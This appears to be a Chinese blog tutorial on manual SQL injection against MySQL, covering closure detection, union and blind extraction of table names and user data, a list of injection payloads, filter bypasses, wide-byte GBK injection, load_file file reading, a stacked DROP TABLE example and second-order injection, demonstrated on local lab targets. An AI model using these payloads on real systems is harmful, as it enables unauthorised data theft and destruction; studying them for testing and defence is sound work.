常用的sql注入技巧
常用的sql注入技巧

常用的sql注入技巧

手动注入注入过程

假设现在尝试注入接收参数为id,后端sql语句为SELECT * FROM table where id = 'input';

1.通过报错判断闭合方式
id=1' and 1=1 --+
如果回显与id=1相同则可能存在注入
再测试id=1' and 1=2 --+
如果回显错误则说明and 1=1和and 1=2可以在数据库中执行,证明存在sql注入漏洞

2..列字段id=1 ' order by 3 --+ 
回显true
id=1 ' order by 4 --+ 
回显false,因此确定字段数为3

3.联合注入id=1 ' union select 1,2,3 --+ 
此时页面无返回结果,猜想可能存在盲注

可以使用sqlmap进行盲注
或者继续手动盲注探测
下面是盲注原理:

4.对mysql版本进行尝试

id=1 ' and  left(version(),1)=1 --+
页面返回正常,mysql的版本用的是1.xxx的,这里的语句的意思是测试mysql版本号的第一位是不是1,回显的结果是正确的

5.探测数据库

猜测数据库长度

id=1 ' and  length(database())=8--+
security数据库长度为8位,页面返回正常

猜测数据库第一位字符

?id=1' and left(database(),1)>'a' --+
利用二分法可以快速猜解数据库名。

6.猜测数据库中的数据表

假设数据表

mysql> show tables;
+--------------------+
| Tables_in_security |
+--------------------+
| emails             |
| referers           |
| uagents            |
| users              |
+--------------------+
通过猜测判断数据表内容
猜测数据表的第一位字符
id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>80 --+
猜测数据表的第二位字符
substr(**,2,1)
猜测第二个数据表
limit 1,1
limit 0,1意思就是从第0 个开始,获取第一个。 6.获取users表中的数据
猜测users表中是否存在us**的列

id=1' and 1=(select 1 from information_schema.columns where table_name='users' and table_name regexp '^us[a-z]'  limit 0,1 )  --+
猜测是否存在username列
id=1' and 1=(select 1 from information_schema.columns where table_name='users'  and column_name regexp '^username'  limit 0,1 )  --+
获取users表的内容
id=1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))=
68--+

尝试猜解后台sql语句,构造poc

常用的payload(攻击载荷)

' and 1=1 # 
' or 1=1 -- 
" and 1=1 -- 
" or 1=1 -- 
') and 1=1 -- 
") and 1=1 -- 
'") and 1=1 --

对应的sql语句一般为

select * from table where id = 'input' 
select * from table where id = "input" 
select * from table where id = ("input") 
select * from table where id = ('input') 
select * from table where id = ("'input'"")

闭合方式

数字型:无闭合 or )or  ))
字符型:'  or  "  or   ')    or   ")  or ')) or "))

表单名查询

使用 information_schema.TABLES 表来查询表单信息。你可以执行以下 SQL 语句:

SELECT TABLE_NAME
FROM INFORMATION_SCHEMA.TABLES
WHERE TABLE_SCHEMA = 'your_database_name';

字段名(列名)查询

要查询指定表单中的所有列(字段),可以使用以下 SQL 查询语句:

SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = '[表名]';

信息采集过程中常用函数

  • version()——MySQL 版本
  • user()——数据库用户名
  • database()——数据库名
  • @@datadir——数据库路径
  • @@version_compile_os——操作系统版本

SQL语法中的特殊字符:

SQL注入 绕过and和or过滤:
/* */ 	 行内注释
-- , #,--+,%23	 注释
注释都被限制了可以用or '1'='1/and '1'='1替换
原理是用or/and逻辑语句连接前后语句的同时,用单引号和后一个单引号形成闭合

空格替换
%0a,%0c,/**/

Example: SELECT * FROM users WHERE name = 'admin' --AND pass = 'pass'
;        连接查询语句

Example: SELECT * FROM users; DROP TABLE users;
',+,||	         allows string concatenation
Char()	 没有引号的字符

Example: SELECT * FROM users WHERE name = '+char(27) OR 1=1

常用函数

  • left(database(),1)>’s’ //left()函数

Explain:database()显示数据库名称,left(a,b)从左侧截取a 的前b 位

  • ascii(substr((select table_name information_schema.tables where tables_schema=database()limit 0,1),1,1))=101 --+ //substr()函数,ascii()函数

Explain:substr(a,b,c)从b 位置开始,截取字符串a 的c 长度。Ascii()将某个字符转换为ascii 值

  • ascii(substr((select database()),1,1))=98
  • ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))>98%23 //ORD()函数,MID()函数

Explain:mid(a,b,c)从位置b 开始,截取a 字符串的c 位。Ord()函数同ascii(),将字符转为ascii值

  • load_file()导出文件
    Load_file(file_name): 读取文件并返回该文件的内容作为一个字符串。
    使用条件: A、必须有权限读取并且文件必须完全可读 and (select count(*) from mysql.user)>0/* 如果结果返回正常,说明具有读写权限。 and (select count(*) from mysql.user)>0/* 返回错误,应该是管理员给数据库帐户降权 B、欲读取文件必须在服务器上 C、必须指定文件完整的路径 D、欲读取文件必须小于max_allowed_packet

联合查询Union

联合查询用来结合两个或多个查询语句。

关于联合查询(UNION)需要注意的地方:

  • 联合的每一个查询语句查询列数必须相同如:SELECT first_name FROM user_system_data UNION SELECT login_count FROM user_data;这样是不被允许的因为联合的两个SELECT查询字段数(高亮部分)必须相同;
  • The datatype of the first column in the first SELECT statement, must match the datatype of the first column in the second (third, fourth, …​) SELECT Statement. The Same applies to all other columns.
SELECT first_name FROM user_system_data UNION SELECT login_count FROM user_data;

The UNION ALL Syntax also allows duplicate Values.

字句查询结合limit限制输出

在有些情况下对’/”做了转义在做sql注入的时候需要用到where key=”value” 就无法执行。这种情况可以使用字句查询先查询出value,再进行整句话的查询,例如:

假设当前sql注入点对引号("/')做了转义。
我们现在已经查出当前数据库的所有表名了:account,sql_admin_message,sql_message,sql_user_message,sql_vulnerability,this_flag,user,users,this_flag是我们想要的表;
按道理我们只用构造select 1, group_concat( column_name ) , 3 ,4,5from information_schema.columns where table_name= "this_flag"
就可以查出所有该表中字段了,但是这里的双引号被转义了。
我们就可以用:
select 1, group_concat( column_name ) , 3 ,4,5from information_schema.columns where table_name= ( select table_name from information_schema.tables where table_schema= database( ) LIMIT 5,1)就可以先查询出表名再进行字段查询
注:
1.( select table_name from information_schema.tables where table_schema= database( ) LIMIT 5,1)这句就是字句查询,意思是这个查询语句是用来查找当前数据库中第 6 张表的表名。
2.LIMIT 5,1 的意思是从查询结果的第五个开始取一个

处理显示不全

有些注入点只会显示查询出来的第一个结果,但是他不只一个结果就可以使用group_concat()函数将查询结果合并成一个。

比如:如下场景我尝试注入查询所有表名,但是发现只有一个结果,而且这个结果不是我们想要的结果,我们就可以想到会不会是只回显了第一个结果。

然后尝试用group_concat()将查询结果合并成一个,可以看见对于刚才同样的查询,输出了所有表单:

绕过过滤的技巧

双写绕过:加入我们要注入 and 但是后端对and做了过滤,就可以双写and来绕过过滤

假如输入:http://127.0.0.1:8011/wide.php?id=-1' and 1=1 --+
但是后端讲and替换了我们就可以构造如下注入;
http://127.0.0.1:8011/wide.php?id=-1' anandd 1=1 --+
这样他将中间的and替换成空后前面的an就和后面的d合起来就成了and

内联注释绕过:可以用 /* */ 行内注释进行分隔

假如输入:http://127.0.0.1:8011/wide.php?id=-1' and 1=1 --+
但是后端讲and替换了我们就可以构造如下注入;
http://127.0.0.1:8011/wide.php?id=-1' an/**/d 1=1 --+
这样他将中间的and替换成空后前面的an就和后面的d合起来就成了and

转义不全绕过: 部分开发者在开发后端程序时,可能会考虑到过滤特殊字符,而对特殊字符进行转义,但是并没有考虑完全所有的特殊字符情况。

比如:我输入单引号 ‘ ,到后端在单引号前面加了斜杠对其进行转义 /’ ,但是在开发时漏了转义符斜杠/,我就可以对后端新添加的斜杠进行转义。当我输入 /’ ,后端检测到 ‘ 就会在前面添加 / ,但是这时 新添加的 / 与我输入的 / ‘ 拼接。最后形成了 //’ 的场景,前一个/将后一个/转义了,后一个/就不能转义 ‘ 了

利用宽字节的特性辅助注入

宽字节注入针对后端对单引号 ‘ 进行转义的情况,就是再前面添加斜杠 / ‘ ,以及类似转义情况

什么是宽字节注入
宽字节是相对于ascII这样单字节而言的;像 GB2312、GBK、GB18030、BIG5、Shift_JIS 等这些都是常说的宽字节,实际上只有两字节。GBK 是一种多字符的编码,通常来说,一个 gbk 编码汉字,占用2个字节一个 utf-8 编码的汉字,占用3个字节

转义函数:为了过滤用户输入的一些数据,对特殊的字符加上反斜杠“\”进行转义;(场景)

宽字节注入指的是 mysql 数据库在使用宽字节(GBK)编码时,会认为两个字符是一个汉字(产生原因)(前一个ascii码要大于128(比如%df),才到汉字的范围),而且当我们输入单引号时,mysql会调用转义函数,将单引号变为’,其中\的十六进制是%5c,mysql的GBK编码,会认为%df%5c是一个宽字节,也就是’運’(注入过程),从而使单引号闭合(逃逸),进行注入攻击。

示意图:

————————————————————宽字节注入出处
版权声明:本文为CSDN博主「炫彩@之星」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/lza20001103/article/details/124286601E

sqlmap中–tamper用来指定探测脚本,其中脚本“unmagicquotes.py”是用来做宽字节注入探测的

二次注入

二次注入(Second-order Injection)是SQL注入的一种变体,它发生在应用程序将用户输入存储到数据库中,并在后续的查询中再次使用该数据时。(原理有点像存储型XSS漏洞,都会将恶意代码存入数据库,在数据再次被调用时执行恶意语句)

二次注入的过程如下:

  1. 攻击者在应用程序的输入字段中注入恶意的SQL代码,这些输入字段通常用于存储用户提交的数据到数据库中。
  2. 应用程序将恶意注入的数据存储到数据库中,通常是作为文本或者字符串的形式。
  3. 在后续的查询中,应用程序从数据库中检索存储的数据,并将其用于构建SQL查询语句。
  4. 由于应用程序没有对存储的数据进行充分的验证和过滤,恶意的SQL代码会被执行,导致安全漏洞。

头部注入

Cookie注入

X-Forwarded-For注入

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注